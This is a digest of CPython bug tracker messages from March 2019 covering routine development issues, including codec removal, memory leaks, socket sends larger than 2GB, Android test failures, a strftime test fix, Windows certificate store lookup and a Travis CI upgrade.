Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552901660.36.0.0578320433656.issue36297@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks INADA-san. IMHO Python has too many codecs, it's painful to maintain them. So it's nice to see deprecate ones to be removed.

Next step: remove all deprecated APIs using Py_UNICODE* :-D (I know that Serhiy is working on that.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:45:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 09:45:03 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552902303.94.0.669812922865.issue36333@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I assign the issue to myself, since I'm currently working on the code: bpo-36301.

----------
assignee:  -> vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:55:48 2019
From: report at bugs.python.org (kmiku7)
Date: Mon, 18 Mar 2019 09:55:48 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552902948.79.0.873831767199.issue36337@roundup.psfhosted.org>


kmiku7 <kakoimiku at gmail.com> added the comment:

Thanks for your contribute! I just have read your PR on github.
Because I am not familiar about how to contribute a patch, I doubt it's reasonable to write a test which will consuming more than 2GB memory space? Because if write a test to cover this case, we will build a string larger than 2GB, and use socket to send it. Dose the machine running tests have enough memory resource?

----------
nosy:  -giampaolo.rodola, vstinner, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:56:23 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 09:56:23 +0000
Subject: [issue36341] bind() on AF_UNIX socket may fail in tests run as
 non-root
In-Reply-To: <1552901311.8.0.284051575659.issue36341@roundup.psfhosted.org>
Message-ID: <1552902983.98.0.167765968.issue36341@roundup.psfhosted.org>


Change by Xavier de Gaye <xdegaye at gmail.com>:


----------
keywords: +patch
pull_requests: +12354
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36341>
_______________________________________

From report at bugs.python.org  Mon Mar 18 05:59:40 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 09:59:40 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552903180.01.0.898467168609.issue36333@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12355

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:02:33 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 18 Mar 2019 10:02:33 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552903353.74.0.544162057559.issue36337@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi @kmiku7, it's possible to write tests that use a large amount of memory and to run them only when asked to with bigmemtest: https://docs.python.org/3/library/test.html#test.support.bigmemtest

There is some tests that use it in the codebase like https://github.com/python/cpython/blob/1561703a78849ac3511055590d9d1bd2c62a2072/Lib/test/test_bz2.py#L646-L647

Creating a large string and sending it through a socket should be ok if you mark the test with this decorator.

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:02:39 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 10:02:39 +0000
Subject: [issue36342] test_multiprocessing fails on platforms lacking a
 functioning sem_open
Message-ID: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

test_multiprocessing fails on platforms lacking a functioning sem_open (Android for example) with:

======================================================================
ERROR: test_multiprocessing (test.test_venv.BasicTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.8/test/test_venv.py", line 317, in test_multiprocessing
    out, err = check_output([envpy, '-c',
  File "/data/local/tmp/python/lib/python3.8/test/test_venv.py", line 37, in check_output
    raise subprocess.CalledProcessError(
subprocess.CalledProcessError: Command '['/data/local/tmp/python/tmp/tmpli0_hkdl/bin/python', '-c', 'from multiprocessing import Pool; print(Pool(1).apply_async("Python".lower).get(3))']' returned non-zero exit status 1.

----------
components: Tests
messages: 338188
nosy: xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: test_multiprocessing fails on platforms lacking a functioning sem_open
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:05:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 10:05:30 +0000
Subject: [issue36342] test_multiprocessing fails on platforms lacking a
 functioning sem_open
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1552903530.76.0.057853118641.issue36342@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Are you sure that multiprocessing is the issue? On bpo-35978, the test fails because of venv, not because of multiprocessing. Can it be the same issue?

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:08:24 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 10:08:24 +0000
Subject: [issue36297] Remove unicode_internal codec
In-Reply-To: <1552627963.14.0.69589784608.issue36297@roundup.psfhosted.org>
Message-ID: <1552903704.38.0.924643561769.issue36297@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I tried to remove all legacy API and wchar_t cache in unicodeobject.  This is experimental branch.
https://github.com/methane/cpython/pull/18/files


I'm thinking about adding configure option to remove them from 3.8.

* It may help people to find third party extensions using legacy API.
* Projects which doesn't use such third party extension can use this option to reduce some memory usage (8 byte for all unicode object).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36297>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:08:25 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 10:08:25 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552903705.68.0.0321737778496.issue36333@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I close the PR 12389 because it superseded by PR 12400 (only the fix for _PyRuntimeState_Fini).

----------
assignee: vstinner -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:08:48 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 10:08:48 +0000
Subject: [issue36333] memory leaks detected with valgrind for python -V
In-Reply-To: <1552866318.49.0.954075294654.issue36333@roundup.psfhosted.org>
Message-ID: <1552903728.28.0.838711716864.issue36333@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
assignee:  -> vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36333>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:30:37 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 10:30:37 +0000
Subject: [issue36342] test_venv fails on Android with clang
In-Reply-To: <1552903359.9.0.770761638832.issue36342@roundup.psfhosted.org>
Message-ID: <1552905037.77.0.206991754728.issue36342@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

You are right, this is a duplicate of bpo-35978.
Closing as duplicate.

----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
title: test_multiprocessing fails on platforms lacking a functioning sem_open -> test_venv fails on Android with clang

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36342>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:38:18 2019
From: report at bugs.python.org (Carl Bordum Hansen)
Date: Mon, 18 Mar 2019 10:38:18 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1552905498.12.0.653782760814.issue23984@roundup.psfhosted.org>


Change by Carl Bordum Hansen <carl at bordum.dk>:


----------
keywords: +patch
pull_requests: +12356
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:38:58 2019
From: report at bugs.python.org (Carl Bordum Hansen)
Date: Mon, 18 Mar 2019 10:38:58 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1552905538.78.0.462182388117.issue23984@roundup.psfhosted.org>


Carl Bordum Hansen <carl at bordum.dk> added the comment:

I submitted a PR that addresses this and the next example, which also uses print unnecessarily.

To answer your last comment rhettinger; the preceding text tells you /why/ one might want to use a staticmethod:

"""
Good candidates for static methods are methods that do not reference the
``self`` variable.

For instance, a statistics package may include a container class for
experimental data.  The class provides normal methods for computing the average,
mean, median, and other descriptive statistics that depend on the data. However,
there may be useful functions which are conceptually related but do not depend
on the data.  For instance, ``erf(x)`` is handy conversion routine that comes up
in statistical work but does not directly depend on a particular dataset.
It can be called either from an object or the class:  ``s.erf(1.5) --> .9332`` or
``Sample.erf(1.5) --> .9332``.

Since staticmethods return the underlying function with no changes, the example
calls are unexciting::
"""

----------
nosy: +carlbordum
versions: +Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:45:06 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 10:45:06 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552905906.19.0.525015847319.issue36307@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 74ae50e53e59bbe39d6287b902757f0cd01327dc by Inada Naoki (CAM Gerlach) in branch 'master':
bpo-36307: Travis: upgrade to Xenial environment (GH-12356)
https://github.com/python/cpython/commit/74ae50e53e59bbe39d6287b902757f0cd01327dc


----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 06:48:05 2019
From: report at bugs.python.org (Julien Palard)
Date: Mon, 18 Mar 2019 10:48:05 +0000
Subject: [issue36329] use the right python "make -C Doc/ serve"
In-Reply-To: <1552849058.57.0.633692372704.issue36329@roundup.psfhosted.org>
Message-ID: <1552906085.01.0.670435640123.issue36329@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:


New changeset 09a9f1799c8c58f573c50cb2d526422436b8658b by Julien Palard (St?phane Wirtel) in branch 'master':
bpo-36329: Declare the version of Python to use for Tools/scripts/serve.py (#12385)
https://github.com/python/cpython/commit/09a9f1799c8c58f573c50cb2d526422436b8658b


----------
nosy: +mdk

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36329>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:01:09 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 18 Mar 2019 11:01:09 +0000
Subject: [issue36317] Typo in documentation of _PyObject_FastCallDict
In-Reply-To: <1552748629.07.0.307872865471.issue36317@roundup.psfhosted.org>
Message-ID: <1552906869.17.0.468606953052.issue36317@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
pull_requests: +12357

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36317>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:15:10 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 11:15:10 +0000
Subject: [issue30040] Speedup empty dict creation and reduce its memory usage
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552907710.4.0.103398182558.issue30040@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
title: new empty dict can be more small -> Speedup empty dict creation and reduce its memory usage

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:38:37 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 11:38:37 +0000
Subject: [issue30040] Speedup empty dict creation and reduce its memory usage
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552909117.56.0.230406811351.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 2ddc7f6d6223840c9971b36b30da4b3371d6e52b by Inada Naoki in branch 'master':
bpo-30040: optimize inserting into empty dict (GH-12307)
https://github.com/python/cpython/commit/2ddc7f6d6223840c9971b36b30da4b3371d6e52b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:39:51 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 11:39:51 +0000
Subject: [issue35066] Inconsistency between dangling '%' handling in
 time.strftime() and datetime.strftime()
In-Reply-To: <1540478010.12.0.788709270274.issue35066@psf.upfronthosting.co.za>
Message-ID: <1552909191.02.0.153707287371.issue35066@roundup.psfhosted.org>


Xavier de Gaye <xdegaye at gmail.com> added the comment:

The new test added by changeset 454b3d4ea246e8751534e105548d141ed7b0b032 fails on Android:

======================================================================
FAIL: test_strftime_trailing_percent (test.datetimetester.TestDate_Pure)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/data/local/tmp/python/lib/python3.8/test/datetimetester.py", line 1400, in test_strftime_trailing_percent
    self.assertEqual(t.strftime('%'), '%')
AssertionError: '' != '%'
+ %

The implementation of strftime() on Android does not seem to be posix compliant:
>>> import time
>>> time.strftime('A%Q')
'AQ'
>>> time.strftime('%')
''

However the new test is not about testing posix compliance and the following patch fixes this test failure on Android while still testing that the changes made by this changeset cause a trailing '%' to not raise the exception anymore:

diff --git a/Lib/test/datetimetester.py b/Lib/test/datetimetester.py
index 715f0ea6b4..ae1a97f0b4 100644
--- a/Lib/test/datetimetester.py
+++ b/Lib/test/datetimetester.py
@@ -1397,8 +1397,10 @@ class TestDate(HarmlessMixedComparison, unittest.TestCase):
             _time.strftime('%')
         except ValueError:
             self.skipTest('time module does not support trailing %')
-        self.assertEqual(t.strftime('%'), '%')
-        self.assertEqual(t.strftime("m:%m d:%d y:%y %"), "m:03 d:02 y:05 %")
+        trailing_percent = _time.strftime('%')
+        self.assertEqual(t.strftime('%'), trailing_percent)
+        self.assertEqual(t.strftime("m:%m d:%d y:%y %"),
+                         "m:03 d:02 y:05 %s" % trailing_percent)
 
     def test_format(self):
         dt = self.theclass(2007, 9, 10)

----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35066>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:40:20 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Mon, 18 Mar 2019 11:40:20 +0000
Subject: [issue36343] Certificate added to Win Store not available
Message-ID: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>


New submission from Christian Herdtweck <christian.herdtweck at intra2net.com>:

I have created a self-signed certificate as my fake CA, used it to sign the certificate of my test server. I added the fake CA to the client (Windows 7) certificate store (System settings > Internet Settings > Content > Certificates), imported it there first only to "trusted root certificate authorities (translating from German "Vertrauensw?rdige Stammzertifizierungsstellen" here), after failed tests to all tabs (including "own certificates", "intermediate certification authorities", but not the the "non-trusted issuers").

I can see my fake ca certificate in the lists in the windows settings, but querying the windows CA store through python (version 3.7), either through ssl.create_default_context().get_ca_certs() or ssl.enum_certificates(store) for store in ("CA", "ROOT", "MY") I only see some default builtin authorities (digicert, microsoft, comodo, verisign, etc).

This might be related to https://bugs.python.org/issue36011 . The related PR https://github.com/python/cpython/pull/11923 is now closed but I do not see the commit in master/3.7/feature-version branch. Was it dismissed?

I am aware there are options to add certificate files to SSL_CERT_DIR, but it is my understanding that python now uses the windows certificate store and that is where in my case the certificate should go.

----------
assignee: christian.heimes
components: SSL
messages: 338198
nosy: christian-intra2net, christian.heimes
priority: normal
severity: normal
status: open
title: Certificate added to Win Store not available
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:40:48 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:40:48 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552909248.22.0.175786957213.issue36235@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12358

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:41:47 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:41:47 +0000
Subject: [issue36235] distutils.sysconfig.customize_compiler() overrides
 CFLAGS var with OPT var if CFLAGS env var is set
In-Reply-To: <1552047825.38.0.133209322208.issue36235@roundup.psfhosted.org>
Message-ID: <1552909307.43.0.174096242639.issue36235@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Chih-Hsuan Yen: After this patch, test_distutils failed if $CPPFLAGS is not empty when building CPython.

Aha, more sysconfig configuration variables and environment variables should be mocked. I wrote PR 12403 to mock all variables. Would you mind to test and review it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36235>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:42:24 2019
From: report at bugs.python.org (Christian Herdtweck)
Date: Mon, 18 Mar 2019 11:42:24 +0000
Subject: [issue36343] Certificate added to Win Store not available
In-Reply-To: <1552909220.78.0.352690295035.issue36343@roundup.psfhosted.org>
Message-ID: <1552909344.54.0.079274039536.issue36343@roundup.psfhosted.org>


Christian Herdtweck <christian.herdtweck at intra2net.com> added the comment:

I should have added the behavioral result:

(1) opening my server's web (https, port 443) page using IE works fine without certificate questions/errors
(2) creating a ssl-wrapped socket to the server on the same port (443) fails with a Certificat error

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36343>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:46:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:46:22 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552909582.3.0.499396962287.issue36307@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

INADA-san: I would prefer to use the same OS to test Python 2.7 and 3.7. Are you ok to backport this change? (if it didn't break the CI yet? :-))

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:46:24 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 11:46:24 +0000
Subject: [issue30040] Speedup empty dict creation and reduce its memory usage
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552909584.98.0.872369366802.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I merged PR-12307 instead of PR-12308 because:

* PR-12308 adds much code, it makes difficult to maintain dict (I faced many SEGV while creating PR-12308)
* PR-12308 is based on PR-12307.  So they are not mutually exclusive.

And I close this issue because there are no more drawbacks about first insertion.
If you really hate `ma_keys == Py_EMPTY_KEYS` and prefer `ma_keys == NULL` to it, please reopen this issue and PR 12308.  I won't remove empty-dict3 branch for a while.

----------
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:50:35 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 11:50:35 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552909835.42.0.765586128262.issue36307@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Ah, miss-islington is still broken...

I'll create backport PR manually if travis succeed to build master branch.
https://travis-ci.org/python/cpython/builds/507808242

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:51:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:51:25 +0000
Subject: [issue36317] Typo in documentation of _PyObject_FastCallDict
In-Reply-To: <1552748629.07.0.307872865471.issue36317@roundup.psfhosted.org>
Message-ID: <1552909885.58.0.129050480943.issue36317@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 67294f64256a5cb29ca3c22d1a8d324e7ea177c6 by Victor Stinner (R?mi Lapeyre) in branch '3.7':
bpo-36317: Fix typo in _PyObject_FastCallDict documentation (GH-12383) (GH-12402)
https://github.com/python/cpython/commit/67294f64256a5cb29ca3c22d1a8d324e7ea177c6


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36317>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:53:19 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:53:19 +0000
Subject: [issue36317] Typo in documentation of _PyObject_FastCallDict
In-Reply-To: <1552748629.07.0.307872865471.issue36317@roundup.psfhosted.org>
Message-ID: <1552909999.15.0.377728685492.issue36317@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

https://github.com/python/cpython/pull/12383 has been merged into master:

commit b4b97af8bed21e32eb77e7f7497acde1f8af4e70
Author: R?mi Lapeyre <remi.lapeyre at henki.fr>
Date:   Mon Mar 18 11:07:53 2019 +0100

    Fix typo in _PyObject_FastCallDict documentation (GH-12383)

Thanks R?mi Lapeyre.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36317>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:54:12 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:54:12 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552910052.87.0.242036899629.issue36307@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Ah, miss-islington is still broken...

Right: https://github.com/python/miss-islington/issues/219

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 07:57:46 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 11:57:46 +0000
Subject: [issue35066] Inconsistency between dangling '%' handling in
 time.strftime() and datetime.strftime()
In-Reply-To: <1540478010.12.0.788709270274.issue35066@psf.upfronthosting.co.za>
Message-ID: <1552910266.77.0.360373810079.issue35066@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Xavier de Gaye: That's why I asked to stop relying on the exact behavior of strftime() of the libc to get portable behavior :-/ See my previous comments.

IMHO the correct fix is to strip trailing % from the format string, call strftime() and then concatenate the trailing %.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35066>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:04:57 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 18 Mar 2019 12:04:57 +0000
Subject: [issue31603] Please add argument to override stdin/out/err in the
 input builtin
In-Reply-To: <1506494047.11.0.154975027568.issue31603@psf.upfronthosting.co.za>
Message-ID: <1552910697.12.0.723211801655.issue31603@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

For reference, here's the link to the Python ideas thread:

https://mail.python.org/pipermail/python-ideas/2017-September/047230.html

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31603>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:06:48 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 12:06:48 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552910808.49.0.865500869393.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> Omitting it from sys.path in that case makes sense to me, but I'm not sure what sys.argv[0] should be set to.

I propose to use ".". It would be consistent with platforms which doesn't implement realpath:

    if (have_module_arg) {
        #if defined(HAVE_REALPATH) || defined(MS_WINDOWS)
            _Py_wgetcwd(fullpath, Py_ARRAY_LENGTH(fullpath));
            argv0 = fullpath;
            n = wcslen(argv0);
        #else
            argv0 = L".";
            n = 1;
        #endif
    }

And it defers the error handler to later. Example of Python 3 running in a removed directory:

$ python3
Python 3.7.2 (default, Jan 16 2019, 19:49:22) 
>>> import os
>>> os.getcwd()
FileNotFoundError: [Errno 2] No such file or directory

>>> os.path.abspath('.')
Traceback (most recent call last):
  File "/usr/lib64/python3.7/posixpath.py", line 383, in abspath
    cwd = os.getcwd()
FileNotFoundError: [Errno 2] No such file or directory

I would prefer "." than "-m".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:13:04 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 12:13:04 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552911184.61.0.389140277343.issue36307@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12359

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:15:43 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 18 Mar 2019 12:15:43 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552911343.06.0.803805705927.issue36307@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12360

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:23:34 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 18 Mar 2019 12:23:34 +0000
Subject: [issue23984] Documentation error: Descriptors
In-Reply-To: <1429245728.01.0.810263114275.issue23984@psf.upfronthosting.co.za>
Message-ID: <1552911814.56.0.171917061234.issue23984@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

@carlbordum, thank you for the PR, but the original PR already addresses the issues.  In a code review message on that PR (https://github.com/python/cpython/pull/1034#pullrequestreview-32006381), @rhettinger commented on the removal of the print statement in the method call, which was addressed by the creator of that PR.  PR1034 was just waiting for final review and approval.

The difference between this and the print in the classmethod example is that having to two prints in this example resulted in output of:
  >>> E.f(3)
  3
  >>> print(E.f(3))
  3
  None

whereas the classmethod example doesn't have the issue of printing `None`.

I don't think the second PR is necessary.

----------
nosy: +cheryl.sabella
versions:  -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23984>
_______________________________________

From report at bugs.python.org  Mon Mar 18 08:24:20 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Mon, 18 Mar 2019 12:24:20 +0000
Subject: [issue36344] install_certificates.command too complicated,
 copy from pip's dir instead
